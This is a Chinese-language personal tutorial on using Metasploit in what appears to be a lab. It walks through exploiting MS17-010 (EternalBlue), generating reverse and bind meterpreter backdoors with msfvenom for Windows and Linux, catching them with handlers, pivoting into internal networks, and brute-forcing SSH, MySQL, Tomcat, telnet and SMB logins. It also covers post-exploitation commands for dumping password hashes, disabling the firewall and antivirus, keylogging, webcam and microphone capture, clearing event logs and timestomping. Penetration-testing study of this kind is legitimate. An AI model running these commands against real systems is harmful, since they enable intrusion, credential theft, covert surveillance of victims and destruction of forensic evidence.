# 前言
简单记录一下基础的 MSF 的使用方便自己查阅,这里先贴一下官方的参考文档
参考文档:运行模块 |Metasploit 文档渗透测试软件,渗透测试安全性
# MSF 介绍
MSF 所具有的功能我们可以大致分为下面七个模块:
Auxiliary modules (辅助模块)
做一些分析、收集、扫描等工作,为后续攻击做辅助Encoder modules(编码模块)
将攻击载荷进行编码,来绕过一些防护
Evasion modules(规避模块)
生成旨在规避防病毒(如 Windows Defender)的规避有效负载Exploit modules (攻击模块)
利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击
Nop modules(No Operation 模块)
生成一系列的空指令
Payloads modules(载荷模块)
攻击成功后促使靶机运行的一段植入代码
Post modules(后渗透模块)
收集更多信息或进一步访问被利用的目标系统
# MSF 基本使用
这里用 ms17-010 来做一个 MSF 利用的演示,这里我使用的是 kali,在文档也是有提到过
If you’re using Kali Linux, Metasploit is already pre-installed.
这里使用使用即可
出现这个就是正常的,首先我们使用 fscan 来扫描目标主机
这里可以看到就这里是存在 MS17-010 的,这里通过 MSF 来验证一下,使用 Search 来搜索
search MS17-010 |
这里存在 5 个可利用的攻击模块,这里选择第一个
use 0 | |
或者 | |
use exploit/windows/smb/ms17_010_eternalblue |
=
我们选择攻击模块后需要设置一些参数,一般有目标 ip,目标端口,本地 ip,本地端口有时候还需要设置线程等等
show options |
这里可以看到目标端口,本地端口和本地 ip 都是有的,所以这里我们只需要设置目标 ip 即可
set RHOSTS 192.168.246.145 |
然后就可以了,接下类直接调用攻击模块即可
run | |
#或者 | |
exploit |
这里可以看到就已经成功了,这里就已经获得了一个 meterpreter 会话
值得注意的是 --- 该漏洞一定概率导致目标主机蓝屏
# MSF 后门生成模块
这块我们应该是使用 msfpayload 这个模块,但是在 2015 年 msfvenom 取代了 msfpayload 和 msfencode。实际上 MSfecnom 是两者的一个结合体。我们可以通过 - h 来查询帮助,这里简单的翻译了一下所支持的选项
MsfVenom - Metasploit独立有效负载生成器。 | |
也是msfpayload和msfencode的替代品。 | |
用法: /usr/bin/msfvenom [选项] <变量=值> | |
示例: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe | |
-l, --list <type> 列出指定类型的所有模块。类型包括: payloads(有效载荷)、encoders(编码器)、nops(填充器)、platforms(平台)、archs(架构)、encrypt(加密方式)、formats(格式)、all(所有) | |
-p, --payload <payload> 要使用的有效载荷(使用 --list payloads 列出,使用 --list-options 查看参数)。指定 “-” 或 STDIN 为自定义 | |
--list-options 列出 --payload <value > 的标准、高级和逃逸选项 | |
-f, --format <format> 输出格式(使用 --list formats 列出) | |
-e, --encoder <encoder> 要使用的编码器(使用 --list encoders 列出) | |
--service-name <value> 生成服务二进制文件时要使用的服务名称 | |
--sec-name <value> 在生成大型 Windows 二进制文件时要使用的新节名称。默认值:随机 4 个字符的字母字符串 | |
--smallest 使用所有可用编码器生成尽可能小的有效负载 | |
--encrypt <value> 用于对 shellcode 进行加密或编码的加密或编码类型(使用 --list encrypt 列出) | |
--encrypt-key <value> 用于 --encrypt 的密钥 | |
--encrypt-iv <value> 用于 --encrypt 的初始化向量 | |
-a, --arch <arch> 用于 --payload 和 --encoders 的架构(使用 --list archs 列出) | |
--platform <platform> 用于 --payload 的平台(使用 --list platforms 列出) | |
-o, --out <path> 将有效载荷保存到文件中 | |
-b, --bad-chars <list> 要避免的字符,例如:'\x00\xff' | |
-n, --nopsled <length> 在有效负载前面添加长度为 [length] 的 nopsled | |
--pad-nops 使用由 - n <length > 指定的 nopsled 大小作为总有效负载大小,自动在有效负载长度之前添加 nopsled | |
-s, --space <length> 结果有效负载的最大大小 | |
--encoder-space <length> 编码后有效负载的最大大小(默认为 - s 值) | |
-i, --iterations <count> 编码有效负载的次数 | |
-c, --add-code <path> 指定要包含的附加 win32 shellcode 文件 | |
-x, --template <path> 指定要用作模板的自定义可执行文件 | |
-k, --keep 保留 --template 的行为,并将有效负载作为新线程注入 | |
-v, --var-name <value> 指定某些输出格式使用的自定义变量名 | |
-t, --timeout <second> 从 STDIN 读取有效负载时等待的秒数(默认为 30,0 表示禁用) | |
-h, --help 显示此消息 |
# 生成有效载荷
可以看到上面的选项中还给了我们一个示例
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe |
这里可以看到,我们需要使用 - p 来指定要生成的有效载荷;使用 - f 来指定生成的载荷的格式,示例中指定为 exe 格式;-o 来将生成的有效载荷保存到文件中
这里可以先使用 - l 选项查一下我们可以使用的有效载荷
sudo msfvenom -l payloads |
这里的有效载荷是非常多的,这里选用示例给到的这种
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.246.136 LPORT=4444 -f exe -o reverse.exe |
# Windows 反向后门上线
这里生成后我们首先在 msf 打开监听模块
use exploit/multi/handler |
这里我们查看一下需要设置的参数,这里的载荷要和我们生成中使用的一样,这里修改一下
set payload windows/x64/meterpreter/reverse_tcp |
然后这里还需要设置一下 LHOST,然后直接 run 开始监听
接下来我们将刚刚生成的 exe 文件在目标主机上执行即可
在 exe 所在目录开启一个 http 服务,然后直接下载到目标服务器上
这里点击运行
监听端这里可以看到就已经成功上线了
# Windows 正向后门上线
刚刚上面生成的是 reverse_tcp 是一个反向后门
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o bind.exe |
然后将这个文件上传到目标主机上,这是还是用刚刚的 win7
将 kali 里的监听设置载荷为与上面对应的 windows/x64/meterpreter/bind_tcp
这里改完后我们还需要提供目标 ip,设置好目标 ip 后直接 run 开启监听
最后在目标主机上运行刚刚的载荷
然后再看监听这边
可以看到这里就已经成功了
# Linux 反向后门上线
因为和上面的 Windows 中基本一样,Linux 这里只展示反向部分。首先还是选择载荷生成 payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.142.141 LPORT=4444 -f elf -o reverse.elf |
这里只想文件类型为 elf 文件
这里将生成的文件上传到 centos 里
回到 kali 中在 msf 启动监听
在目标中执行 shell 文件
# MSF 代理模块
msf 自身的代理模块需要配合 meterpreter 会话中的自动路由 autoroute 功能使用,能自动将请求转发 至内网网段
# 路由
run get_local_subnets # 获取网段信息 | |
run autoroute -h | |
# 查看帮助 | |
run autoroute -s 10.10.10.1/24 # 开启通往某网段的路由,根据我们获取的网段信息 | |
run autoroute -p # 查看已开启的路由列表 | |
run autoroute -d #结束开启的路由列表 | |
background #退出 |
# socks 代理
search socks | |
use auxiliary/server/socks_proxy #或者 use 编号 | |
show #options 查看一下 | |
run # 配置好 ip 及端口运行即可 | |
jobs # 查看后台任务,会看到正在运行的 |
# 扫描模块
可以根据需求来选择
# 爆破模块
# ssh 服务口令
#use 的模块信息 | |
use auxiliary/scanner/ssh/ssh_login | |
#要攻击的 IP 地址 | |
set RHOSTS 192.168.80.134 | |
#设置用户 | |
set USERNAME root | |
#设置密码字典 | |
set PASS_FILE /root/pass.txt | |
#设置线程 | |
set THREADS 50 | |
run |
# mysql 口令
search mysql | |
use auxiliary/scanner/mysql/mysql_login | |
show options | |
set RHOSTS 192.168.80.130 | |
set user_file /root/user.txt | |
set pass_file /root/pass.txt | |
exploit |
# tomcat 口令
search tomcat | |
use auxiliary/scanner/http/tomcat_mgr_login | |
set RHOSTS 192.168.1.1 | |
set PASS_FILE /root/pass.txt | |
set USER_FILE /root/user.txt | |
exploit |
# telnet 攻击
use auxiliary/scanner/telnet/telnet_login | |
set 192.168.1.1 | |
exploit |
# samba 攻击
use auxiliary/scanner/smb/smb_login | |
set RHOSTS 192.168.1.1 /192.168.1.0/24 | |
set THREADS 200 | |
exploit |
# 常用命令
# MSF 常用
show auxiliary # 显示辅助模块 | |
use | |
# 使用某个模块 | |
show options # 显示模块选项 | |
set # 设置模块参数 | |
set ExitOnSession false # 经常会遇到假 session 或者刚连接就断开的情况 | |
set SessionCommunicationTimeout 0 # 默认情况下,如果一个会话将在 5 分钟(300 秒)没有任何活动,那么它会被杀死为防止此情况可将此项修改为 0 | |
set SessionExpirationTimeout 0 # 默认情况下,一个星期(604800 秒)后,会话将被强制关闭, | |
修改为0可永久不会被关闭 | |
run 或者 expolit # 执行模块 | |
run -j # 后台运行模块 | |
run -j -z # -j 为后台任务,-z 为持续监听 | |
# 快速建立监听 | |
handler -H 192.168.23.134 -P 4444 -p windows/x64/meterpreter/reverse_tcp | |
# session 命令 | |
session -h # 帮助 | |
sessions -l # 会话列表 | |
sessions -i id # 进入指定 id 会话 | |
sessions -u id # 升级 shell 会话为 meterpreter 会话 | |
# jobs 命令 | |
jobs -h # 帮助 | |
jobs -k id # 结束指定任务 | |
jobs -l # 正在运行的任务 | |
jobs -P # 重启所有任务 | |
# 远程登陆模块 | |
run post/windows/manage/enable_rdp |
# meterpreter 会话常用
help # 帮助手册 | |
getuid # 查看用户权限 | |
sysinfo # 获取系统信息 | |
run packetrecorder -i 1 # 查看目标机所有流量 | |
run scraper # 提取系统信息 | |
run get_local_subnets # 获取网段信息 | |
getsystem # 尝试获取系统权限 | |
hashdump # 抓取 hash | |
background # 会话后台运行 | |
ps # 查看进程 | |
migrate pid # 进程迁移 | |
shell # 进入目标主机 shell | |
netsh adcfirewall set allprofiles state off # (shell 命令) 关闭 windows 防火墙 | |
run killav # 关闭杀软(不好用) | |
ls # 查看当前目录文件 | |
pwd#输出工作目录 | |
cd c:\\ #进入目录文件下 | |
rm file #删除文件 | |
mkdir dier #在受害者系统上的创建目录 | |
rmdir #受害者系统上删除目录 | |
dir #列出目标主机的文件和文件夹信息 | |
mv #修改目标主机上的文件名 | |
edit c:\boot.ini # 编辑文件 | |
upload # 上传本地文件到目标主机路径 | |
download # 下载目标主机文件到本地 | |
execute -f 'command' # 执行命令 | |
execute -f notepad.exe # 运行目标主机上的某个程序 | |
execute -H -f notepad.exe # -H hidden 隐藏后台运行 | |
screenshot # 截屏 | |
run getgui -e # 开启目标主机远程桌面 | |
run vnc # 查看桌面 | |
search -d d:\\www -f web.config # search 文件,如 search -d c:\\ -f *.doc |
# MSF 命令列表
# 核心命令
命令 描述 | |
------- ----------- | |
? 帮助菜单 | |
banner 显示一个令人印象深刻的metasploit横幅 | |
cd 更改当前工作目录 | |
color 切换颜色 | |
connect 与主机通信 | |
debug 显示有用于调试的信息 | |
exit 退出控制台 | |
features 显示可以选择的尚未发布的功能列表 | |
get 获取特定上下文变量的值 | |
getg 获取全局变量的值 | |
grep 在另一个命令的输出中进行搜索 | |
help 帮助菜单 | |
history 显示命令历史记录 | |
load 加载一个框架插件 | |
quit 退出控制台 | |
repeat 重复执行一系列命令 | |
route 通过会话路由流量 | |
save 保存活动数据存储 | |
sessions 转储会话列表并显示有关会话的信息 | |
set 将上下文特定变量设置为值 | |
setg 将全局变量设置为值 | |
sleep 休眠指定的秒数 | |
spool 将控制台输出写入文件以及屏幕 | |
threads 查看和操作后台线程 | |
tips 显示有用的生产力提示 | |
unload 卸载框架插件 | |
unset 取消设置一个或多个上下文特定变量 | |
unsetg 取消设置一个或多个全局变量 | |
version 显示框架和控制台库版本号 |
# 模块命令
命令 描述 | |
------- ----------- | |
advanced 显示一个或多个模块的高级选项 | |
back 从当前上下文返回 | |
clearm 清除模块堆栈 | |
favorite 将模块添加到收藏模块列表 | |
favorites 打印收藏模块列表(`show favorites`的别名) | |
info 显示一个或多个模块的信息 | |
listm 列出模块堆栈 | |
loadpath 从路径搜索和加载模块 | |
options 显示全局选项或一个或多个模块的选项 | |
popm 弹出堆栈中的最新模块并使其处于活动状态 | |
previous 将先前加载的模块设置为当前模块 | |
pushm 将活动模块或模块列表推入模块堆栈 | |
reload_all 重新加载所有来自所有已定义模块路径的模块 | |
search 搜索模块名称和描述 | |
show 显示给定类型的模块或所有模块 | |
use 通过名称或搜索词/索引与模块交互 |
# 作业命令
命令 描述 | |
------- ----------- | |
handler 启动一个载荷处理程序作业 | |
jobs 显示和管理作业 | |
kill 终止一个作业 | |
rename_job 重命名一个作业 |
# 资源脚本命令
命令 描述 | |
------- ----------- | |
makerc 将从启动以来输入的命令保存到文件中 | |
resource 运行存储在文件中的命令 |
# 数据库后端命令
命令 描述 | |
------- ----------- | |
analyze 分析关于特定地址或地址范围的数据库信息 | |
db_connect 连接到现有的数据服务 | |
db_disconnec 断开与当前数据服务的连接 | |
db_export 导出包含数据库内容的文件 | |
db_import 导入扫描结果文件(文件类型将自动检测) | |
db_nmap 执行nmap并自动记录输出 | |
db_rebuild_c 重建数据库存储的模块缓存(已弃用) | |
ache | |
db_remove 删除保存的数据服务条目 | |
db_save 将当前数据服务连接保存为启动时重新连接的默认连接 | |
db_stats 显示数据库的统计信息 | |
db_status 显示当前数据服务状态 | |
hosts 列出数据库中的所有主机 | |
klist 列出数据库中的所有Kerberos票证 | |
loot 列出数据库中的所有战利品 | |
notes 列出数据库中的所有注释 | |
services 列出数据库中的所有服务 | |
vulns 列出数据库中的所有漏洞 | |
workspace 在数据库工作区之间切换 |
# 利用命令
命令 描述 | |
------- ----------- | |
check 检查目标是否易受攻击 | |
exploit 启动一个利用尝试 | |
rcheck 重新加载模块并检查目标是否易受攻击 | |
recheck rcheck的别名 | |
reload 仅重新加载模块 | |
rerun rexploit的别名 | |
rexploit 重新加载模块并启动利用尝试 | |
run exploit的别名 |
# meterpreter 会话命令列表
这是 Meterpreter 控制台的命令列表。以下是翻译:
# 核心命令
命令 描述 | |
------- ----------- | |
? 帮助菜单 | |
background 将当前会话后台化 | |
bg background的别名 | |
bgkill 终止后台运行的meterpreter脚本 | |
bglist 列出正在运行的后台脚本 | |
bgrun 将meterpreter脚本作为后台线程执行 | |
channel 显示或控制活动通道的信息 | |
close 关闭一个通道 | |
detach 分离meterpreter会话(用于http/https) | |
disable_unic 禁用unicode字符串的编码 | |
ode_encoding | |
enable_unico 启用unicode字符串的编码 | |
de_encoding | |
exit 终止meterpreter会话 | |
get_timeouts 获取当前会话超时值 | |
guid 获取会话GUID | |
help 帮助菜单 | |
info 显示关于Post模块的信息 | |
irb 在当前会话上打开交互式Ruby shell | |
load 加载一个或多个meterpreter扩展 | |
machine_id 获取与会话关联的机器的MSF ID | |
migrate 将服务器迁移到另一个进程 | |
pivot 管理中继监听器 | |
pry 在当前会话上打开Pry调试器 | |
quit 终止meterpreter会话 | |
read 从通道读取数据 | |
resource 运行存储在文件中的命令 | |
run 执行meterpreter脚本或Post模块 | |
secure 在会话上(重新)协商TLV数据包加密 | |
sessions 快速切换到另一个会话 | |
set_timeouts 设置当前会话超时值 | |
sleep 强制Meterpreter保持安静,然后重新建立会话 | |
ssl_verify 修改SSL证书验证设置 | |
transport 管理传输机制 | |
use "load"的已弃用别名 | |
uuid 获取当前会话的UUID | |
write 向通道写入数据 |
# Stdapi:文件系统命令
命令 描述 | |
------- ----------- | |
cat 将文件内容输出到屏幕 | |
cd 更改目录 | |
checksum 检索文件的校验和 | |
cp 复制源到目的地 | |
del 删除指定的文件 | |
dir 列出文件(ls的别名) | |
download 下载文件或目录 | |
edit 编辑文件 | |
getlwd 打印本地工作目录 | |
getwd 打印工作目录 | |
lcat 将本地文件内容输出到屏幕 | |
lcd 更改本地工作目录 | |
lls 列出本地文件 | |
lmkdir 在本地计算机上创建新目录 | |
lpwd 打印本地工作目录 | |
ls 列出文件 | |
mkdir 创建目录 | |
mv 将源移动到目标 | |
pwd 打印工作目录 | |
rm 删除指定的文件 | |
rmdir 删除目录 | |
search 搜索文件 | |
show_mount 列出所有挂载点/逻辑驱动器 | |
upload 上传文件或目录 |
# Stdapi:网络命令
命令 描述 | |
------- ----------- | |
arp 显示主机ARP缓存 | |
getproxy 显示当前代理配置 | |
ifconfig 显示接口 | |
ipconfig 显示接口 | |
netstat 显示网络连接 | |
portfwd 将本地端口转发到远程服务 | |
resolve 解析目标上的一组主机名 | |
route 查看和修改路由表 |
# Stdapi:系统命令
命令 描述 | |
------- ----------- | |
clearev 清除事件日志 | |
drop_token 放弃任何活动模拟令牌。 | |
execute 执行命令 | |
getenv 获取一个或多个环境变量值 | |
getpid 获取当前进程标识符 | |
getprivs 尝试启用当前进程可用的所有特权 | |
getsid 获取服务器正在运行的用户的SID | |
getuid 获取服务器正在运行的用户 | |
kill 终止一个进程 | |
localtime 显示目标系统的本地日期和时间 | |
pgrep 按名称过滤进程 | |
pkill 按名称终止进程 | |
ps 列出正在运行的进程 | |
reboot 重新启动远程计算机 | |
reg 修改和与远程注册表交互 | |
rev2self 在远程计算机上调用RevertToSelf() | |
shell 进入系统命令shell | |
shutdown 关闭远程计算机 | |
steal_token 尝试从目标 |
进程中窃取模拟令牌
suspend 暂停或恢复一组进程
sysinfo 获取有关远程系统的信息,例如操作系统
# Stdapi:用户界面命令
命令 描述 | |
------- ----------- | |
enumdesktops 列出所有可访问的桌面和窗口站 | |
getdesktop 获取当前meterpreter桌面 | |
idletime 返回远程用户空闲的秒数 | |
keyboard_sen 发送按键 | |
d | |
keyevent 发送键事件 | |
keyscan_dump 转储键击缓冲区 | |
keyscan_star 开始捕获按键 | |
t | |
keyscan_stop 停止捕获按键 | |
mouse 发送鼠标事件 | |
screenshare 实时观看远程用户桌面 | |
screenshot 捕获交互式桌面的截图 | |
setdesktop 更改meterpreters当前桌面 | |
uictl 控制部分用户界面组件 |
# Stdapi:摄像头命令
命令 描述 | |
------- ----------- | |
record_mic 从默认麦克风录制音频 X 秒 | |
webcam_chat 开始视频聊天 | |
webcam_list 列出网络摄像头 | |
webcam_snap 从指定的网络摄像头拍摄快照 | |
webcam_strea 播放指定网络摄像头的视频流 | |
m |
# Stdapi:音频输出命令
命令 描述 | |
------- ----------- | |
play 在目标系统上播放波形音频文件(.wav) |
# Priv:提升命令
命令 描述 | |
------- ----------- | |
getsystem 尝试将您的特权提升到本地系统的特权。 |
# Priv:密码数据库命令
命令 描述 | |
------- ----------- | |
hashdump 转储SAM数据库的内容 |
# Priv:Timestomp 命令
命令 描述 | |
------- ----------- | |
timestomp 操纵文件MACE属性 |